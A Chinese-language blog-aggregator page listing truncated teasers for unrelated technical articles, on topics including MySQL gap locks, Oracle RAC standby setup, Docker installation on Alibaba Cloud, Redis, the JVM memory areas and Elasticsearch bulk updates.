MySQL间隙锁入手,拿下间隙锁面试与实操

一、MySQL 间隙锁&#xff0c;究竟是什么&#xff1f; 在 MySQL 的世界里&#xff0c;间隙锁&#xff08;Gap Lock&#xff09;就像是一个默默守护数据一致性的卫士&#xff0c;看似低调&#xff0c;却在并发控制中扮演着至关重要的角色。​ 想象一下&#xff0c;你去图书馆借…...

词法分析和词性标注 自然语言处理

目录 一. 概述 1 不同语言的词法分析 2 英语的形态分析 英语单词的形态还原&#xff08;和正常英语的词法变化一样&#xff09; 1.有规律变化单词的形态还原 ​编辑 2.动词&#xff64;名词&#xff64;形容词&#xff64;副词不规则变化单词的形态还原 3.对于表示年代&…...

QT聊天项目DAY14

1. 客户端登录 1.1 初始化玩家头像 将头像的大小固定在250 * 250 void InitHeadImage(); // 初始化头像/* 初始化头像 */ void LoginWidget::InitHeadImage() {// 加载头像QPixmap OriginalPixmap(":/Chat/Images/head_5.jpg");OriginalPixmap …...

架构设计技巧——架构设计模板

一份实用、高效、覆盖核心要素的架构设计模板是确保设计质量、促进团队沟通和指导实施的关键。以下是一个经过提炼的架构设计文档核心模板框架&#xff0c;结合了业界最佳实践&#xff0c;并强调灵活裁剪&#xff1a; 架构设计文档模板 (核心框架) 文档标识 项目/系统名称&a…...

交易系统开发:跨境资本的高速通道架构解密

连接纽约、香港与内陆的金融管道工程 总收益互换&#xff08;TRS&#xff09;在港美股投资中扮演着跨境资本流动的“隐形桥梁”。本文基于真实跨境券商系统开发实践&#xff0c;深入解析支持多市场、多币种、多通道的TRS平台架构设计与业务解决方案。 一、港美股TRS的核心价值&…...

【Ragflow】27.RagflowPlus(v0.4.1):小版本迭代,问题修复与功能优化

概述 RagflowPlus v0.4.0 在发布后&#xff0c;收到了积极的反馈&#xff0c;同时也包含一些问题。 本次进行一轮小版本更新&#xff0c;发布 v0.4.1 版本&#xff0c;对已知问题进行修复&#xff0c;并对部分功能进行进一步优化。 开源地址&#xff1a;https://github.com/…...

易语言是什么?易语言能做什么?

易语言&#xff08;EPL&#xff09;是什么&#xff1f;​​ ​​易语言​​&#xff08;Easy Programming Language&#xff0c;简称EPL&#xff09;是一款​​面向中文用户的编程语言​​&#xff0c;由中国人吴涛于2000年开发&#xff0c;专为降低编程门槛设计。其核心特点是…...

【Oracle】数据仓库

个人主页&#xff1a;Guiat 归属专栏&#xff1a;Oracle 文章目录 1. 数据仓库概述1.1 为什么需要数据仓库1.2 Oracle数据仓库架构1.3 Oracle数据仓库关键技术 2. 数据仓库建模2.1 维度建模基础2.2 星形模式设计2.3 雪花模式设计2.4 缓慢变化维度&#xff08;SCD&#xff09;处…...

基于开源AI大模型AI智能名片S2B2C商城小程序源码的中等平台型社交电商运营模式研究

摘要&#xff1a;本文聚焦中等平台型社交电商&#xff0c;探讨其与传统微商及大型社交电商平台的差异&#xff0c;尤其关注产品品类管理对代理运营的影响。通过引入开源AI大模型、AI智能名片与S2B2C商城小程序源码技术&#xff0c;构建智能化运营体系。研究结果表明&#xff0c…...

typeof运算符 +unll和undefined的区别

typeof运算符 JavaScript 有三种方法&#xff0c;可以确定一个值到底是什么类型。而我们 现在需要接触到的就是typeof 数值返回number 1 typeof 123 // "number" 字符串返回string 1 typeof 123 // "string" 布尔值返回boolean 1 typeof fal…...

Vite 双引擎架构 —— Esbuild 概念篇

Vite 底层采用 双引擎架构&#xff0c;核心构建引擎是 Esbuild 和 Rollup&#xff0c;二者在开发和生产环境中分工协作&#xff0c;共同实现高性能构建。不可否认&#xff0c;作为 Vite 的双引擎之一&#xff0c;Esbuild 在很多关键的构建阶段(如依赖预编译、TS 语法转译、代码…...

Life:Internship finding

1. 前言 fishwheel writes this Blog to 记录自分自身在研二下找实习的经历。When 写这篇 Blog 的时候我的最后一搏也挂掉了&#xff0c;只能启用保底方案了。When I 打开我的邮箱时&#xff0c;发现里面有 nearly 100 多封与之相关的邮件&#xff0c;顿时感到有些心凉&#x…...

阿里云Alibaba Cloud安装Docker与Docker compose【图文教程】

个人记录 进入控制台&#xff0c;找到定时与自动化任务 进入‘安装/卸载扩展程序’ 点击‘安装扩展程序’ 选择docker社区版&#xff0c;点击下一步与确定&#xff0c;等待一会 安装成功 查询版本 查询docker sudo docker version查询docker compose sudo docker compo…...

GitHub 趋势日报 (2025年06月07日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 603 netbird 459 dify 440 cognee 352 omni-tools 337 note-gen 239 ragbits 237 …...

Java编程之组合模式

引言 在软件开发的世界里&#xff0c;我们经常会遇到需要表示"部分-整体"层次结构的场景。比如文件系统中的文件和文件夹、图形界面中的各种组件、企业组织架构中的部门和员工等。这些场景都有一个共同的特点&#xff1a;我们需要以一种统一的方式来处理单个对象和由…...

Oracle 19c RAC集群ADG搭建

1、将主库的pfile和passwdfile发送到备库 #主库一节点操作 scp -P1234 /tmp/pfile2025.ora bak_ip:/home/oracle sco -P1234 /oracle/app/oracle/product/19.0.0/db/dbs/orapw$ORACLE_SID bak_ip:/oracle/app/oracle/product/19.0.0/db/dbs 2、备库修改参数文件成standby相关…...

ADB识别手机系统弹授权框-如何处理多重弹框叠加和重叠问题

ADB识别手机系统弹授权框-如何处理多重弹框叠加和重叠问题 --蓝牙电话SDK自动部署 上一篇&#xff1a;手机App-插入USB时自动授权点击确定按钮-使系统弹出框自动消失 下一篇&#xff1a;编写中。 一、前言 我们在上一篇《手机App-插入USB时自动授权点击确定按钮-使系统弹出框…...

Kaggle-Predicting Optimal Fertilizers-(多分类+xgboost+同一特征值多样性)

Predicting Optimal Fertilizers 题意&#xff1a; 给出土壤的特性&#xff0c;预测出3种最佳的肥料 数据处理&#xff1a; 1.有数字型和类别型&#xff0c;类别不能随意换成数字&#xff0c;独热编码。cat可以直接处理category类型。 2.构造一些相关土壤特性特征 3.由于la…...

uniapp+<script setup lang=“ts“>解决有数据与暂无数据切换显示,有数据加载时暂无数据闪现(先加载空数据)问题

声明showEmpty 为false&#xff0c;在接口返回处判断有数据时设置showEmpty 为false&#xff0c;接口返回数据为空则判断showEmpty 为true &#xff08;这样就解决有数据的时候会闪现暂无数据的问题啦&#xff09; <!--* Date: 2024-02-26 03:38:52* LastEditTime: 2025-06…...

详解鸿蒙Next仓颉开发语言中的动画

大家上午好&#xff0c;今天来聊一聊仓颉开发语言中的动画开发。 仓颉中的动画通常有两种方式&#xff0c;分别是属性动画和显示动画&#xff0c;我们今天以下面的加载动画为例&#xff0c;使用显示动画和属性动画分别实现一下&#xff0c;看看他们有什么区别。 显示动画 显示…...

Redis常见使用场景解析

1. 数据库缓存 Redis 作为典型的 Key-Value 型内存数据库,数据缓存是其最广为人知的应用场景。使用 Redis 缓存数据操作简便,通常将序列化后的对象以 string 类型存储。但在实际应用中,需注意以下关键要点: Key 设计:必须确保不同对象的 Key 具有唯一性,且尽量缩短长度,…...

C语言指针与数组sizeof运算深度解析:从笔试题到内存原理

前两天跟着数组指针的教程&#xff1a; // #self 视频里的笔试题 !!!vipint b12[3][4] {0};printf("%ld \n", sizeof(b12[0]));printf("%ld \n", sizeof(*b12));printf("%ld \n", sizeof(*(b12 1)));printf("%ld \n", sizeof(*(&am…...

起重机指挥人员在工作中需要注意哪些安全事项?

起重机指挥人员在作业中承担着协调设备运行、保障作业安全的关键职责&#xff0c;其安全操作直接关系到整个起重作业的安全性。以下从作业前、作业中、作业后的全流程&#xff0c;详细说明指挥人员需注意的安全事项&#xff1a; 一、作业前的安全准备 资质与状态检查&#xff…...

JVM内存区域与溢出异常详解

当然可以。以下是结合了程序计数器和Java内存区域以及内存溢出异常的详细解释&#xff1a; JVM内存区域与内存溢出异常 Java虚拟机&#xff08;JVM&#xff09;管理着不同类型的内存区域&#xff0c;每个区域都有其特定的功能和可能导致的内存溢出异常。 程序计数器&#xff…...

ES海量数据更新及导入导出备份

一、根据查询条件更新字段 from elasticsearch import Elasticsearch import redis import json# 替换下面的用户名、密码和Elasticsearch服务器地址 username elastic password password es_host https://127.0.0.2:30674# 使用Elasticsearch实例化时传递用户名和密码 es…...